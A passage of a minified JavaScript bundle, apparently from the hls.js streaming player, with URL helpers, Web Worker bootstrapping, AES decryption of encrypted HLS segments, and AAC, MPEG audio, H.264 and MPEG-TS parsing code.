d=a.path,u=d.substring(0,d.lastIndexOf("/")+1)+s.path;h.path=o.normalizePath(u)}else h.path=a.path,s.params||(h.params=a.params,s.query||(h.query=a.query));return null===h.path&&(h.path=r.alwaysNormalize?o.normalizePath(s.path):s.path),o.buildURLFromParts(h)},parseURL:function(e){var t=i.exec(e);return t?{scheme:t[1]||"",netLoc:t[2]||"",path:t[3]||"",params:t[4]||"",query:t[5]||"",fragment:t[6]||""}:null},normalizePath:function(e){for(e=e.split("").reverse().join("").replace(s,"");e.length!==(e=e.replace(a,"")).length;);return e.split("").reverse().join("")},buildURLFromParts:function(e){return e.scheme+e.netLoc+e.path+e.params+e.query+e.fragment}},e.exports=o},"./node_modules/webworkify-webpack/index.js":function(e,t,r){function i(e){var t={};function r(i){if(t[i])return t[i].exports;var n=t[i]={i,l:!1,exports:{}};return e[i].call(n.exports,n,n.exports,r),n.l=!0,n.exports}r.m=e,r.c=t,r.i=function(e){return e},r.d=function(e,t,i){r.o(e,t)||Object.defineProperty(e,t,{configurable:!1,enumerable:!0,get:i})},r.r=function(e){Object.defineProperty(e,"__esModule",{value:!0})},r.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return r.d(t,"a",t),t},r.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},r.p="/",r.oe=function(e){throw console.error(e),e};var i=r(r.s=ENTRY_MODULE);return i.default||i}var n="[\\.|\\-|\\+|\\w|/|@]+",s="\\(\\s*(/\\*.*?\\*/)?\\s*.*?([\\.|\\-|\\+|\\w|/|@]+).*?\\)";function a(e){return(e+"").replace(/[.?*+^$[\]\\(){}|-]/g,"\\$&")}function o(e,t,i){var o={};o[i]=[];var l=t.toString(),h=l.match(/^function\s?\w*\(\w+,\s*\w+,\s*(\w+)\)/);if(!h)return o;for(var d,u=h[1],c=new RegExp("(\\\\n|\\W)"+a(u)+s,"g");d=c.exec(l);)"dll-reference"!==d[3]&&o[i].push(d[3]);for(c=new RegExp("\\("+a(u)+'\\("(dll-reference\\s('+n+'))"\\)\\)'+s,"g");d=c.exec(l);)e[d[2]]||(o[i].push(d[1]),e[d[2]]=r(d[1]).m),o[d[2]]=o[d[2]]||[],o[d[2]].push(d[4]);for(var f,g=Object.keys(o),p=0;p<g.length;p++)for(var m=0;m<o[g[p]].length;m++)f=o[g[p]][m],isNaN(1*f)||(o[g[p]][m]=1*o[g[p]][m]);return o}function l(e){return Object.keys(e).reduce((function(t,r){return t||e[r].length>0}),!1)}e.exports=function(e,t){t=t||{};var n={main:r.m},s=t.all?{main:Object.keys(n.main)}:function(e,t){for(var r={main:[t]},i={main:[]},n={main:{}};l(r);)for(var s=Object.keys(r),a=0;a<s.length;a++){var h=s[a],d=r[h].pop();if(n[h]=n[h]||{},!n[h][d]&&e[h][d]){n[h][d]=!0,i[h]=i[h]||[],i[h].push(d);for(var u=o(e,e[h][d],h),c=Object.keys(u),f=0;f<c.length;f++)r[c[f]]=r[c[f]]||[],r[c[f]]=r[c[f]].concat(u[c[f]])}}return i}(n,e),a="";Object.keys(s).filter((function(e){return"main"!==e})).forEach((function(e){for(var t=0;s[e][t];)t++;s[e].push(t),n[e][t]="(function(module, exports, __webpack_require__) { module.exports = __webpack_require__; })",a=a+"var "+e+" = ("+i.toString().replace("ENTRY_MODULE",JSON.stringify(t))+")({"+s[e].map((function(t){return JSON.stringify(t)+": "+n[e][t].toString()})).join(",")+"});\n"})),a=a+"new (("+i.toString().replace("ENTRY_MODULE",JSON.stringify(e))+")({"+s.main.map((function(e){return JSON.stringify(e)+": "+n.main[e].toString()})).join(",")+"}))(self);";var h=new window.Blob([a],{type:"text/javascript"});if(t.bare)return h;var d=(window.URL||window.webkitURL||window.mozURL||window.msURL).createObjectURL(h),u=new window.Worker(d);return u.objectURL=d,u}},"./src/demux/demuxer-inline.js":function(e,t,r){"use strict";r.r(t);var i=r("./src/events.js"),n=r("./src/errors.ts"),s=function(){function e(e,t){this.subtle=e,this.aesIV=t}return e.prototype.decrypt=function(e,t){return this.subtle.decrypt({name:"AES-CBC",iv:this.aesIV},t,e)},e}(),a=function(){function e(e,t){this.subtle=e,this.key=t}return e.prototype.expandKey=function(){return this.subtle.importKey("raw",this.key,{name:"AES-CBC"},!1,["encrypt","decrypt"])},e}(),o=function(){function e(){this.rcon=[0,1,2,4,8,16,32,64,128,27,54],this.subMix=[new Uint32Array(256),new Uint32Array(256),new Uint32Array(256),new Uint32Array(256)],this.invSubMix=[new Uint32Array(256),new Uint32Array(256),new Uint32Array(256),new Uint32Array(256)],this.sBox=new Uint32Array(256),this.invSBox=new Uint32Array(256),this.key=new Uint32Array(0),this.initTable()}var t=e.prototype;return t.uint8ArrayToUint32Array_=function(e){for(var t=new DataView(e),r=new Uint32Array(4),i=0;i<4;i++)r[i]=t.getUint32(4*i);return r},t.initTable=function(){var e=this.sBox,t=this.invSBox,r=this.subMix,i=r[0],n=r[1],s=r[2],a=r[3],o=this.invSubMix,l=o[0],h=o[1],d=o[2],u=o[3],c=new Uint32Array(256),f=0,g=0,p=0;for(p=0;p<256;p++)c[p]=p<128?p<<1:p<<1^283;for(p=0;p<256;p++){var m=g^g<<1^g<<2^g<<3^g<<4;m=m>>>8^255&m^99,e[f]=m,t[m]=f;var v=c[f],_=c[v],y=c[_],E=257*c[m]^16843008*m;i[f]=E<<24|E>>>8,n[f]=E<<16|E>>>16,s[f]=E<<8|E>>>24,a[f]=E,E=16843009*y^65537*_^257*v^16843008*f,l[m]=E<<24|E>>>8,h[m]=E<<16|E>>>16,d[m]=E<<8|E>>>24,u[m]=E,f?(f=v^c[c[c[y^v]]],g^=c[c[g]]):f=g=1}},t.expandKey=function(e){for(var t=this.uint8ArrayToUint32Array_(e),r=!0,i=0;i<t.length&&r;)r=t[i]===this.key[i],i++;if(!r){this.key=t;var n=this.keySize=t.length;if(4!==n&&6!==n&&8!==n)throw new Error("Invalid aes key size="+n);var s,a,o,l,h=this.ksRows=4*(n+6+1),d=this.keySchedule=new Uint32Array(h),u=this.invKeySchedule=new Uint32Array(h),c=this.sBox,f=this.rcon,g=this.invSubMix,p=g[0],m=g[1],v=g[2],_=g[3];for(s=0;s<h;s++)s<n?o=d[s]=t[s]:(l=o,s%n==0?(l=c[(l=l<<8|l>>>24)>>>24]<<24|c[l>>>16&255]<<16|c[l>>>8&255]<<8|c[255&l],l^=f[s/n|0]<<24):n>6&&s%n==4&&(l=c[l>>>24]<<24|c[l>>>16&255]<<16|c[l>>>8&255]<<8|c[255&l]),d[s]=o=(d[s-n]^l)>>>0);for(a=0;a<h;a++)s=h-a,l=3&a?d[s]:d[s-4],u[a]=a<4||s<=4?l:p[c[l>>>24]]^m[c[l>>>16&255]]^v[c[l>>>8&255]]^_[c[255&l]],u[a]=u[a]>>>0}},t.networkToHostOrderSwap=function(e){return e<<24|(65280&e)<<8|(16711680&e)>>8|e>>>24},t.decrypt=function(e,t,r,i){for(var n,s,a,o,l,h,d,u,c,f,g,p,m,v,_,y,E,S=this.keySize+6,b=this.invKeySchedule,T=this.invSBox,w=this.invSubMix,A=w[0],P=w[1],L=w[2],R=w[3],I=this.uint8ArrayToUint32Array_(r),D=I[0],C=I[1],x=I[2],O=I[3],M=new Int32Array(e),k=new Int32Array(M.length),N=this.networkToHostOrderSwap;t<M.length;){for(c=N(M[t]),f=N(M[t+1]),g=N(M[t+2]),p=N(M[t+3]),l=c^b[0],h=p^b[1],d=g^b[2],u=f^b[3],m=4,v=1;v<S;v++)n=A[l>>>24]^P[h>>16&255]^L[d>>8&255]^R[255&u]^b[m],s=A[h>>>24]^P[d>>16&255]^L[u>>8&255]^R[255&l]^b[m+1],a=A[d>>>24]^P[u>>16&255]^L[l>>8&255]^R[255&h]^b[m+2],o=A[u>>>24]^P[l>>16&255]^L[h>>8&255]^R[255&d]^b[m+3],l=n,h=s,d=a,u=o,m+=4;n=T[l>>>24]<<24^T[h>>16&255]<<16^T[d>>8&255]<<8^T[255&u]^b[m],s=T[h>>>24]<<24^T[d>>16&255]<<16^T[u>>8&255]<<8^T[255&l]^b[m+1],a=T[d>>>24]<<24^T[u>>16&255]<<16^T[l>>8&255]<<8^T[255&h]^b[m+2],o=T[u>>>24]<<24^T[l>>16&255]<<16^T[h>>8&255]<<8^T[255&d]^b[m+3],m+=3,k[t]=N(n^D),k[t+1]=N(o^C),k[t+2]=N(a^x),k[t+3]=N(s^O),D=c,C=f,x=g,O=p,t+=4}return i?(_=k.buffer,y=_.byteLength,(E=y&&new DataView(_).getUint8(y-1))?_.slice(0,y-E):_):k.buffer},t.destroy=function(){this.key=void 0,this.keySize=void 0,this.ksRows=void 0,this.sBox=void 0,this.invSBox=void 0,this.subMix=void 0,this.invSubMix=void 0,this.keySchedule=void 0,this.invKeySchedule=void 0,this.rcon=void 0},e}(),l=r("./src/utils/logger.js"),h=r("./src/utils/get-self-scope.js"),d=Object(h.getSelfScope)(),u=function(){function e(e,t,r){var i=(void 0===r?{}:r).removePKCS7Padding,n=void 0===i||i;if(this.logEnabled=!0,this.observer=e,this.config=t,this.removePKCS7Padding=n,n)try{var s=d.crypto;s&&(this.subtle=s.subtle||s.webkitSubtle)}catch(e){}this.disableWebCrypto=!this.subtle}var t=e.prototype;return t.isSync=function(){return this.disableWebCrypto&&this.config.enableSoftwareAES},t.decrypt=function(e,t,r,i){var n=this;if(this.disableWebCrypto&&this.config.enableSoftwareAES){this.logEnabled&&(l.logger.log("JS AES decrypt"),this.logEnabled=!1);var h=this.decryptor;h||(this.decryptor=h=new o),h.expandKey(t),i(h.decrypt(e,0,r,this.removePKCS7Padding))}else{this.logEnabled&&(l.logger.log("WebCrypto AES decrypt"),this.logEnabled=!1);var d=this.subtle;this.key!==t&&(this.key=t,this.fastAesKey=new a(d,t)),this.fastAesKey.expandKey().then((function(a){new s(d,r).decrypt(e,a).catch((function(s){n.onWebCryptoError(s,e,t,r,i)})).then((function(e){i(e)}))})).catch((function(s){n.onWebCryptoError(s,e,t,r,i)}))}},t.onWebCryptoError=function(e,t,r,s,a){this.config.enableSoftwareAES?(l.logger.log("WebCrypto Error, disable WebCrypto API"),this.disableWebCrypto=!0,this.logEnabled=!0,this.decrypt(t,r,s,a)):(l.logger.error("decrypting error : "+e.message),this.observer.trigger(i.default.ERROR,{type:n.ErrorTypes.MEDIA_ERROR,details:n.ErrorDetails.FRAG_DECRYPT_ERROR,fatal:!0,reason:e.message}))},t.destroy=function(){var e=this.decryptor;e&&(e.destroy(),this.decryptor=void 0)},e}(),c=r("./src/polyfills/number.js");function f(e,t){return 255===e[t]&&240==(246&e[t+1])}function g(e,t){return 1&e[t+1]?7:9}function p(e,t){return(3&e[t+3])<<11|e[t+4]<<3|(224&e[t+5])>>>5}function m(e,t){return!!(t+1<e.length&&f(e,t))}function v(e,t){if(m(e,t)){var r=g(e,t);if(t+r>=e.length)return!1;var i=p(e,t);if(i<=r)return!1;var n=t+i;if(n===e.length||n+1<e.length&&f(e,n))return!0}return!1}function _(e,t,r,s,a){if(!e.samplerate){var o=function(e,t,r,s){var a,o,h,d,u,c=navigator.userAgent.toLowerCase(),f=s,g=[96e3,88200,64e3,48e3,44100,32e3,24e3,22050,16e3,12e3,11025,8e3,7350];if(a=1+((192&t[r+2])>>>6),!((o=(60&t[r+2])>>>2)>g.length-1))return d=(1&t[r+2])<<2,d|=(192&t[r+3])>>>6,l.logger.log("manifest codec:"+s+",ADTS data:type:"+a+",sampleingIndex:"+o+"["+g[o]+"Hz],channelConfig:"+d),/firefox/i.test(c)?o>=6?(a=5,u=new Array(4),h=o-3):(a=2,u=new Array(2),h=o):-1!==c.indexOf("android")?(a=2,u=new Array(2),h=o):(a=5,u=new Array(4),s&&(-1!==s.indexOf("mp4a.40.29")||-1!==s.indexOf("mp4a.40.5"))||!s&&o>=6?h=o-3:((s&&-1!==s.indexOf("mp4a.40.2")&&(o>=6&&1===d||/vivaldi/i.test(c))||!s&&1===d)&&(a=2,u=new Array(2)),h=o)),u[0]=a<<3,u[0]|=(14&o)>>1,u[1]|=(1&o)<<7,u[1]|=d<<3,5===a&&(u[1]|=(14&h)>>1,u[2]=(1&h)<<7,u[2]|=8,u[3]=0),{config:u,samplerate:g[o],channelCount:d,codec:"mp4a.40."+a,manifestCodec:f};e.trigger(i.default.ERROR,{type:n.ErrorTypes.MEDIA_ERROR,details:n.ErrorDetails.FRAG_PARSING_ERROR,fatal:!0,reason:"invalid ADTS sampling index:"+o})}(t,r,s,a);e.config=o.config,e.samplerate=o.samplerate,e.channelCount=o.channelCount,e.codec=o.codec,e.manifestCodec=o.manifestCodec,l.logger.log("parsed codec:"+e.codec+",rate:"+o.samplerate+",nb channel:"+o.channelCount)}}function y(e){return 9216e4/e}function E(e,t,r,i,n){var s=function(e,t,r,i,n){var s,a,o=e.length;if(s=g(e,t),a=p(e,t),(a-=s)>0&&t+s+a<=o)return{headerLength:s,frameLength:a,stamp:r+i*n}}(t,r,i,n,y(e.samplerate));if(s){var a=s.stamp,o=s.headerLength,l=s.frameLength,h={unit:t.subarray(r+o,r+o+l),pts:a,dts:a};return e.samples.push(h),{sample:h,length:l+o}}}var S=r("./src/demux/id3.js"),b=function(){function e(e,t,r){this.observer=e,this.config=r,this.remuxer=t}var t=e.prototype;return t.resetInitSegment=function(e,t,r,i){this._audioTrack={container:"audio/adts",type:"audio",id:0,sequenceNumber:0,isAAC:!0,samples:[],len:0,manifestCodec:t,duration:i,inputTimeScale:9e4}},t.resetTimeStamp=function(){},e.probe=function(e){if(!e)return!1;for(var t=(S.default.getID3Data(e,0)||[]).length,r=e.length;t<r;t++)if(v(e,t))return l.logger.log("ADTS sync word found !"),!0;return!1},t.append=function(e,t,r,i){for(var n=this._audioTrack,s=S.default.getID3Data(e,0)||[],a=S.default.getTimeStamp(s),o=Object(c.isFiniteNumber)(a)?90*a:9e4*t,h=0,d=o,u=e.length,f=s.length,g=[{pts:d,dts:d,data:s}];f<u-1;)if(m(e,f)&&f+5<u){_(n,this.observer,e,f,n.manifestCodec);var p=E(n,e,f,o,h);if(!p){l.logger.log("Unable to parse AAC frame");break}f+=p.length,d=p.sample.pts,h++}else S.default.isHeader(e,f)?(s=S.default.getID3Data(e,f),g.push({pts:d,dts:d,data:s}),f+=s.length):f++;this.remuxer.remux(n,{samples:[]},{samples:g,inputTimeScale:9e4},{samples:[]},t,r,i)},t.destroy=function(){},e}(),T=r("./src/demux/mp4demuxer.js"),w={BitratesMap:[32,64,96,128,160,192,224,256,288,320,352,384,416,448,32,48,56,64,80,96,112,128,160,192,224,256,320,384,32,40,48,56,64,80,96,112,128,160,192,224,256,320,32,48,56,64,80,96,112,128,144,160,176,192,224,256,8,16,24,32,40,48,56,64,80,96,112,128,144,160],SamplingRateMap:[44100,48e3,32e3,22050,24e3,16e3,11025,12e3,8e3],SamplesCoefficients:[[0,72,144,12],[0,0,0,0],[0,72,144,12],[0,144,144,12]],BytesInSlot:[0,1,1,4],appendFrame:function(e,t,r,i,n){if(!(r+24>t.length)){var s=this.parseHeader(t,r);if(s&&r+s.frameLength<=t.length){var a=i+n*(9e4*s.samplesPerFrame/s.sampleRate),o={unit:t.subarray(r,r+s.frameLength),pts:a,dts:a};return e.config=[],e.channelCount=s.channelCount,e.samplerate=s.sampleRate,e.samples.push(o),{sample:o,length:s.frameLength}}}},parseHeader:function(e,t){var r=e[t+1]>>3&3,i=e[t+1]>>1&3,n=e[t+2]>>4&15,s=e[t+2]>>2&3,a=e[t+2]>>1&1;if(1!==r&&0!==n&&15!==n&&3!==s){var o=3===r?3-i:3===i?3:4,l=1e3*w.BitratesMap[14*o+n-1],h=3===r?0:2===r?1:2,d=w.SamplingRateMap[3*h+s],u=e[t+3]>>6==3?1:2,c=w.SamplesCoefficients[r][i],f=w.BytesInSlot[i],g=8*c*f;return{sampleRate:d,channelCount:u,frameLength:parseInt(c*l/d+a,10)*f,samplesPerFrame:g}}},isHeaderPattern:function(e,t){return 255===e[t]&&224==(224&e[t+1])&&0!=(6&e[t+1])},isHeader:function(e,t){return!!(t+1<e.length&&this.isHeaderPattern(e,t))},probe:function(e,t){if(t+1<e.length&&this.isHeaderPattern(e,t)){var r=this.parseHeader(e,t),i=4;r&&r.frameLength&&(i=r.frameLength);var n=t+i;if(n===e.length||n+1<e.length&&this.isHeaderPattern(e,n))return!0}return!1}},A=w,P=function(){function e(e){this.data=e,this.bytesAvailable=e.byteLength,this.word=0,this.bitsAvailable=0}var t=e.prototype;return t.loadWord=function(){var e=this.data,t=this.bytesAvailable,r=e.byteLength-t,i=new Uint8Array(4),n=Math.min(4,t);if(0===n)throw new Error("no bytes available");i.set(e.subarray(r,r+n)),this.word=new DataView(i.buffer).getUint32(0),this.bitsAvailable=8*n,this.bytesAvailable-=n},t.skipBits=function(e){var t;this.bitsAvailable>e?(this.word<<=e,this.bitsAvailable-=e):(e-=this.bitsAvailable,e-=(t=e>>3)>>3,this.bytesAvailable-=t,this.loadWord(),this.word<<=e,this.bitsAvailable-=e)},t.readBits=function(e){var t=Math.min(this.bitsAvailable,e),r=this.word>>>32-t;return e>32&&l.logger.error("Cannot read more than 32 bits at a time"),this.bitsAvailable-=t,this.bitsAvailable>0?this.word<<=t:this.bytesAvailable>0&&this.loadWord(),(t=e-t)>0&&this.bitsAvailable?r<<t|this.readBits(t):r},t.skipLZ=function(){var e;for(e=0;e<this.bitsAvailable;++e)if(0!=(this.word&2147483648>>>e))return this.word<<=e,this.bitsAvailable-=e,e;return this.loadWord(),e+this.skipLZ()},t.skipUEG=function(){this.skipBits(1+this.skipLZ())},t.skipEG=function(){this.skipBits(1+this.skipLZ())},t.readUEG=function(){var e=this.skipLZ();return this.readBits(e+1)-1},t.readEG=function(){var e=this.readUEG();return 1&e?1+e>>>1:-1*(e>>>1)},t.readBoolean=function(){return 1===this.readBits(1)},t.readUByte=function(){return this.readBits(8)},t.readUShort=function(){return this.readBits(16)},t.readUInt=function(){return this.readBits(32)},t.skipScalingList=function(e){var t,r=8,i=8;for(t=0;t<e;t++)0!==i&&(i=(r+this.readEG()+256)%256),r=0===i?r:i},t.readSPS=function(){var e,t,r,i,n,s,a,o=0,l=0,h=0,d=0,u=this.readUByte.bind(this),c=this.readBits.bind(this),f=this.readUEG.bind(this),g=this.readBoolean.bind(this),p=this.skipBits.bind(this),m=this.skipEG.bind(this),v=this.skipUEG.bind(this),_=this.skipScalingList.bind(this);if(u(),e=u(),c(5),p(3),u(),v(),100===e||110===e||122===e||244===e||44===e||83===e||86===e||118===e||128===e){var y=f();if(3===y&&p(1),v(),v(),p(1),g())for(s=3!==y?8:12,a=0;a<s;a++)g()&&_(a<6?16:64)}v();var E=f();if(0===E)f();else if(1===E)for(p(1),m(),m(),t=f(),a=0;a<t;a++)m();v(),p(1),r=f(),i=f(),0===(n=c(1))&&p(1),p(1),g()&&(o=f(),l=f(),h=f(),d=f());var S=[1,1];if(g()&&g())switch(u()){case 1:S=[1,1];break;case 2:S=[12,11];break;case 3:S=[10,11];break;case 4:S=[16,11];break;case 5:S=[40,33];break;case 6:S=[24,11];break;case 7:S=[20,11];break;case 8:S=[32,11];break;case 9:S=[80,33];break;case 10:S=[18,11];break;case 11:S=[15,11];break;case 12:S=[64,33];break;case 13:S=[160,99];break;case 14:S=[4,3];break;case 15:S=[3,2];break;case 16:S=[2,1];break;case 255:S=[u()<<8|u(),u()<<8|u()]}return{width:Math.ceil(16*(r+1)-2*o-2*l),height:(2-n)*(i+1)*16-(n?2:4)*(h+d),pixelRatio:S}},t.readSliceType=function(){return this.readUByte(),this.readUEG(),this.readUEG()},e}(),L=function(){function e(e,t,r,i){this.decryptdata=r,this.discardEPB=i,this.decrypter=new u(e,t,{removePKCS7Padding:!1})}var t=e.prototype;return t.decryptBuffer=function(e,t){this.decrypter.decrypt(e,this.decryptdata.key.buffer,this.decryptdata.iv.buffer,t)},t.decryptAacSample=function(e,t,r,i){var n=e[t].unit,s=n.subarray(16,n.length-n.length%16),a=s.buffer.slice(s.byteOffset,s.byteOffset+s.length),o=this;this.decryptBuffer(a,(function(s){s=new Uint8Array(s),n.set(s,16),i||o.decryptAacSamples(e,t+1,r)}))},t.decryptAacSamples=function(e,t,r){for(;;t++){if(t>=e.length)return void r();if(!(e[t].unit.length<32)){var i=this.decrypter.isSync();if(this.decryptAacSample(e,t,r,i),!i)return}}},t.getAvcEncryptedData=function(e){for(var t=16*Math.floor((e.length-48)/160)+16,r=new Int8Array(t),i=0,n=32;n<=e.length-16;n+=160,i+=16)r.set(e.subarray(n,n+16),i);return r},t.getAvcDecryptedUnit=function(e,t){t=new Uint8Array(t);for(var r=0,i=32;i<=e.length-16;i+=160,r+=16)e.set(t.subarray(r,r+16),i);return e},t.decryptAvcSample=function(e,t,r,i,n,s){var a=this.discardEPB(n.data),o=this.getAvcEncryptedData(a),l=this;this.decryptBuffer(o.buffer,(function(o){n.data=l.getAvcDecryptedUnit(a,o),s||l.decryptAvcSamples(e,t,r+1,i)}))},t.decryptAvcSamples=function(e,t,r,i){for(;;t++,r=0){if(t>=e.length)return void i();for(var n=e[t].units;!(r>=n.length);r++){var s=n[r];if(!(s.data.length<=48||1!==s.type&&5!==s.type)){var a=this.decrypter.isSync();if(this.decryptAvcSample(e,t,r,i,s,a),!a)return}}}},e}(),R={video:1,audio:2,id3:3,text:4},I=function(){function e(e,t,r,i){this.observer=e,this.config=r,this.typeSupported=i,this.remuxer=t,this.sampleAes=null,this.pmtUnknownTypes={}}var t=e.prototype;return t.setDecryptData=function(e){null!=e&&null!=e.key&&"SAMPLE-AES"===e.method?this.sampleAes=new L(this.observer,this.config,e,this.discardEPB):this.sampleAes=null},e.probe=function(t){var r=e._syncOffset(t);return!(r<0||(r&&l.logger.warn("MPEG2-TS detected but first sync word found @ offset "+r+", junk ahead ?"),0))},e._syncOffset=function(e){for(var t=Math.min(1e3,e.length-564),r=0;r<t;){if(71===e[r]&&71===e[r+188]&&71===e[r+376])return r;r++}return-1},e.createTrack=function(e,t){return{container:"video"===e||"audio"===e?"video/mp2t":void 0,type:e,id:R[e],pid:-1,inputTimeScale:9e4,sequenceNumber:0,samples:[],dropped:"video"===e?0:void 0,isAAC:"audio"===e||void 0,duration:"audio"===e?t:void 0}},t.resetInitSegment=function(t,r,i,n){this.pmtParsed=!1,this._pmtId=-1,this.pmtUnknownTypes={},this._avcTrack=e.createTrack("video",n),this._audioTrack=e.createTrack("audio",n),this._id3Track=e.createTrack("id3",n),this._txtTrack=e.createTrack("text",n),this.aacOverFlow=null,this.aacLastPTS=null,this.avcSample=null,this.audioCodec=r,this.videoCodec=i,this._duration=n},t.resetTimeStamp=function(){},t.append=function(t,r,s,a){var o,h,d,u,c,f=t.length,g=!1;this.pmtUnknownTypes={},this.contiguous=s;var p=this.pmtParsed,m=this._avcTrack,v=this._audioTrack,_=this._id3Track,y=m.pid,E=v.pid,S=_.pid,b=this._pmtId,T=m.pesData,w=v.pesData,A=_.pesData,P=this._parsePAT,L=this._parsePMT.bind(this),R=this._parsePES,I=this._parseAVCPES.bind(this),D=this._parseAACPES.bind(this),C=this._parseMPEGPES.bind(this),x=this._parseID3PES.bind(this),O=e._syncOffset(t);for(f-=(f+O)%188,o=O;o<f;o+=188)if(71===t[o]){if(h=!!(64&t[o+1]),d=((31&t[o+1])<<8)+t[o+2],(48&t[o+3])>>4>1){if((u=o+5+t[o+4])===o+188)continue}else u=o+4;switch(d){case y:h&&(T&&(c=R(T))&&I(c,!1),T={data:[],size:0}),T&&(T.data.push(t.subarray(u,o+188)),T.size+=o+188-u);break;case E:h&&(w&&(c=R(w))&&(v.isAAC?D(c):C(c)),w={data:[],size:0}),w&&(w.data.push(t.subarray(u,o+188)),w.size+=o+188-u);break;case S:h&&(A&&(c=R(A))&&x(c),A={data:[],size:0}),A&&(A.data.push(t.subarray(u,o+188)),A.size+=o+188-u);break;case 0:h&&(u+=t[u]+1),b=this._pmtId=P(t,u);break;case b:h&&(u+=t[u]+1);var M=L(t,u,!0===this.typeSupported.mpeg||!0===this.typeSupported.mp3,null!=this.sampleAes);(y=M.avc)>0&&(m.pid=y),(E=M.audio)>0&&(v.pid=E,v.isAAC=M.isAAC),(S=M.id3)>0&&(_.pid=S),g&&!p&&(l.logger.log("reparse from beginning"),g=!1,o=O-188),p=this.pmtParsed=!0;break;case 17:case 8191:break;default:g=!0}}else this.observer.trigger(i.default.ERROR,{type:n.ErrorTypes.MEDIA_ERROR,details:n.ErrorDetails.FRAG_PARSING_ERROR,fatal:!1,reason:"TS packet did not start with 0x47"});T&&(c=R(T))?(I(c,!0),m.pesData=null):m.pesData=T,w&&(c=R(w))?(v.isAAC?D(c):C(c),v.pesData=null):(w&&w.size&&l.logger.log("last AAC PES packet truncated,might overlap between fragments"),v.pesData=w),A&&(c=R(A))?(x(c),_.pesData=null):_.pesData=A,null==this.sampleAes?this.remuxer.remux(v,m,_,this._txtTrack,r,s,a):this.decryptAndRemux(v,m,_,this._txtTrack,r,s,a)},t.decryptAndRemux=function(e,t,r,i,n,s,a){if(e.samples&&e.isAAC){var o=this;this.sampleAes.decryptAacSamples(e.samples,0,(function(){o.decryptAndRemuxAvc(e,t,r,i,n,s,a)}))}else this.decryptAndRemuxAvc(e,t,r,i,n,s,a)},t.decryptAndRemuxAvc=function(e,t,r,i,n,s,a){if(t.samples){var o=this;this.sampleAes.decryptAvcSamples(t.samples,0,0,(function(){o.remuxer.remux(e,t,r,i,n,s,a)}))}else this.remuxer.remux(e,t,r,i,n,s,a)},t.destroy=function(){this._initPTS=this._initDTS=void 0,this._duration=0},t._parsePAT=function(e,t){return(31&e[t+10])<<8|e[t+11]},t._trackUnknownPmt=function(e,t,r){var i=this.pmtUnknownTypes[e]||0;return 0===i&&(this.pmtUnknownTypes[e]=0,t.call(l.logger,r)),this.pmtUnknownTypes[e]++,i},t._parsePMT=function(e,t,r,i){var n,s,a={audio:-1,avc:-1,id3:-1,isAAC:!0};for(n=t+3+((15&e[t+1])<<8|e[t+2])-4,t+=12+((15&e[t+10])<<8|e[t+11]);t<n;){switch(s=(31&e[t+1])<<8|e[t+2],e[t]){case 207:if(!i){this._trackUnknownPmt(e[t],l.logger.warn,"ADTS AAC with AES-128-CBC frame encryption found in unencrypted stream");break}case 15:-1===a.audio&&(a.audio=s);break;case 21:-1===a.id3&&(a.id3=s);break;case 219:if(!i){this._trackUnknownPmt(e[t],l.logger.warn,"H.264 with AES-128-CBC slice encryption found in unencrypted stream");break}case 27:-1===a.avc&&(a.avc=s);break;case 3:case 4:r?-1===a.audio&&(a.audio=s,a.isAAC=!1):this._trackUnknownPmt(e[t],l.logger.warn,"MPEG audio found, not supported in this browser");break;case 36:this._trackUnknownPmt(e[t],l.logger.warn,"Unsupported HEVC stream type found");break;default:this._trackUnknownPmt(e[t],l.logger.log,"Unknown stream type:"+e[t])}t+=5+((15&e[t+3])<<8|e[t+4])}return a},t._parsePES=function(e){var t,r,i,n,s,a,o,h,d=0,u=e.data;if(!e||0===e.size)return null;for(;u[0].length<19&&u.length>1;){var c=new Uint8Array(u[0].length+u[1].length);c.set(u[0]),c.set(u[1],u[0].length),u[0]=c,u.splice(1,1)}if(1===((t=u[0])[0]<<16)+(t[1]<<8)+t[2]){if((i=(t[4]<<8)+t[5])&&i>e.size-6)return null;if(192&(r=t[7])&&(a=536870912*(14&t[9])+4194304*(255&t[10])+16384*(254&t[11])+128*(255&t[12])+(254&t[13])/2,64&r?a-(o=536870912*(14&t[14])+4194304*(255&t[15])+16384*(254&t[16])+128*(255&t[17])+(254&t[18])/2)>54e5&&(l.logger.warn(Math.round((a-o)/9e4)+"s delta between PTS and DTS, align them"),a=o):o=a),h=(n=t[8])+9,e.size<=h)return null;e.size-=h,s=new Uint8Array(e.size);for(var f=0,g=u.length;f<g;f++){var p=(t=u[f]).byteLength;if(h){if(h>p){h-=p;continue}t=t.subarray(h),p-=h,h=0}s.set(t,d),d+=p}return i&&(i-=n+3),{data:s,pts:a,dts:o,len:i}}return null},t.pushAccesUnit=function(e,t){if(e.units.length&&e.frame){var r=t.samples,i=r.length;if(isNaN(e.pts)){if(!i)return void t.dropped++;var n=r[i-1];e.pts=n.pts,e.dts=n.dts}!this.config.forceKeyFrameOnDiscontinuity||!0===e.key||t.sps&&(i||this.contiguous)?(e.id=i,r.push(e)):t.dropped++}e.debug.length&&l.logger.log(e.pts+"/"+e.dts+":"+e.debug)},t._parseAVCPES=function(e,t){var r,i,n,s=this,a=this._avcTrack,o=this._parseAVCNALu(e.data),l=this.avcSample,h=!1,d=this.pushAccesUnit.bind(this),u=function(e,t,r,i){return{key:e,pts:t,dts:r,units:[],debug:i}};e.data=null,l&&o.length&&!a.audFound&&(d(l,a),l=this.avcSample=u(!1,e.pts,e.dts,"")),o.forEach((function(t){switch(t.type){case 1:i=!0,l||(l=s.avcSample=u(!0,e.pts,e.dts,"")),l.frame=!0;var o=t.data;if(h&&o.length>4){var c=new P(o).readSliceType();2!==c&&4!==c&&7!==c&&9!==c||(l.key=!0)}break;case 5:i=!0,l||(l=s.avcSample=u(!0,e.pts,e.dts,"")),l.key=!0,l.frame=!0;break;case 6:i=!0,(r=new P(s.discardEPB(t.data))).readUByte();for(var f=0,g=0,p=!1,m=0;!p&&r.bytesAvailable>1;){f=0;do{f+=m=r.readUByte()}while(255===m);g=0;do{g+=m=r.readUByte()}while(255===m);if(4===f&&0!==r.bytesAvailable){if(p=!0,181===r.readUByte()&&49===r.readUShort()&&1195456820===r.readUInt()&&3===r.readUByte()){var v=r.readUByte(),_=31&v,y=[v,r.readUByte()];for(n=0;n<_;n++)y.push(r.readUByte()),y.push(r.readUByte()),y.push(r.readUByte());s._insertSampleInOrder(s._txtTrack.samples,{type:3,pts:e.pts,bytes:y})}}else 